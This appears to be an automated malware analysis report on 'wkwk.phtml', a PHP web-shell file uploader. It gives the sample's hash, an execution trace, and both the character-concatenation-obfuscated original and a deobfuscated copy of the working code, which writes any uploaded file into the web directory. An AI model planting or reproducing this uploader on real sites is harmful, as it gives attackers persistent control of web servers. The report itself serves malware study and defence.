PHP Malware Analysis

wkwk.phtml

md5: 227f1e3233de928129b6bd87f78ce778

Jump to: 

Screenshot
Attributes
Files

Input

Deobfuscated PHP code
<meta name="robots" content="noindex"><form method="post" enctype="multipart/form-data"><input type="file" name="btul"><button>Gaskan</button></form>
<?php 
$a = "file_put_contents";
$b = "file_get_contents";
$c = "tmp_name";
if (isset($_FILES['btul'])) {
    file_put_contents($_FILES['btul']['name'], file_get_contents($_FILES['btul'][$c]));
    if (file_exists("./" . $_FILES['btul']['name'])) {
        echo "Oke !";
    } else {
        echo "Fail !";
    }
}
Execution traces
data/traces/227f1e3233de928129b6bd87f78ce778_trace-1676251131.8748.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:19:17.772622]
1	0	1	0.000246	393528
1	3	0	0.000352	396200	{main}	1		/var/www/html/uploads/wkwk.phtml	0	0
1		A						/var/www/html/uploads/wkwk.phtml	3	$a = 'file_put_contents'
1		A						/var/www/html/uploads/wkwk.phtml	4	$b = 'file_get_contents'
1		A						/var/www/html/uploads/wkwk.phtml	5	$c = 'tmp_name'
1	3	1	0.000429	396200
			0.000472	314472
TRACE END   [2023-02-12 23:19:17.772901]


Generated HTML code
<html><head><meta name="robots" content="noindex"></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="btul"><button>Gaskan</button></form>
</body></html>
Original PHP code
<meta name="robots" content="noindex"><form method="post" enctype="multipart/form-data"><input type="file" name="btul"><button>Gaskan</button></form>
<?php
$a = "f"."i"."l"."e"."_"."p"."u"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$b = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
$c = "t"."m"."p"."_"."n"."a"."m"."e";
if (isset($_FILES['btul'])) {$a($_FILES['btul']['name'], $b($_FILES['btul'][$c]));if (file_exists("./".$_FILES['btul']['name'])) {echo "Oke !";} else {echo "Fail !";}}
?>